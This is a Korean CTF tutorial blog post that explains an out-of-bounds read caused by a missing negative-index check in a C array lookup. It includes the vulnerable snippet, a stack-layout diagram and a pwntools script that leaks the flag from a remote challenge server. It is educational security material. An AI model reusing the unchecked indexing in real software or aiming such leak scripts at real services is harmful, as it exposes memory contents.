[Tutorial] out-of-bound-read

@yd1ng· May 12, 2025 · 1 min read

문제 개요

이 문제는 배열 인덱싱에서 음수 인덱스를 허용하는 취약점을 이용하여 /flag 파일의 내용을 읽을 수 있는 Out-of-Bounds Read 문제입니다.

프로그램 분석

int idx;
char flag_buf[0x100];
char buf[0x100];
...
scanf("%d", &idx);
if (idx >= 0x100) {
  puts("[!] idx < 0, out of bound.");
  continue;
}
printf("buf[%d] : %c\n", idx, buf[idx]);
  • idx >= 0x100만 검사하고 idx < 0에 대한 검사는 없습니다.
  • 그 결과 buf[-1], buf[-2], ... 과 같이 음수 인덱스로 접근 가능해집니다.
  • flag_bufbuf보다 스택 상단에 위치하므로, 음수 인덱스를 이용해 flag_buf에 접근할 수 있습니다.

메모리 구조

[ flag_buf (256 bytes) ]  ← 플래그 저장됨
[ buf      (256 bytes) ]  ← 사용자 접근 가능
[ idx (int)             ]
  • buf[-1]flag_buf[255]
  • buf[-2]flag_buf[254]
  • ...
  • buf[-256]flag_buf[0]

플래그 유출 전략

  1. idx > 입력 시 -1부터 -256까지 순차적으로 넣기
  2. 출력된 buf[idx] 값을 이어붙이면 플래그를 복원 가능

익스플로잇 코드

from pwn import *
io = remote("3.111.45.95", 20004)
flag = b""
for i in range(-256, 100, 1):
    io.sendlineafter(b"idx > ", str(i).encode())
    io.recvuntil(b": ")
    flag += io.recvline().strip()
io.success(flag)
io.interactive()
  • -256부터 99까지 요청을 보내면서 출력되는 문자를 이어붙여 플래그를 추출합니다.

결론

  • 이 문제는 단순한 인덱스 검증 실수로 인해 발생하는 OOB Read 취약점을 활용합니다.
  • 실습을 통해 스택 기반 배열 접근, 메모리 인덱싱 구조, 플래그 추출 과정을 깊이 있게 이해할 수 있습니다.
@yd1ng
안녕하세요. 양진영입니다.
© copyright 2025. yd1ng all rights reserved.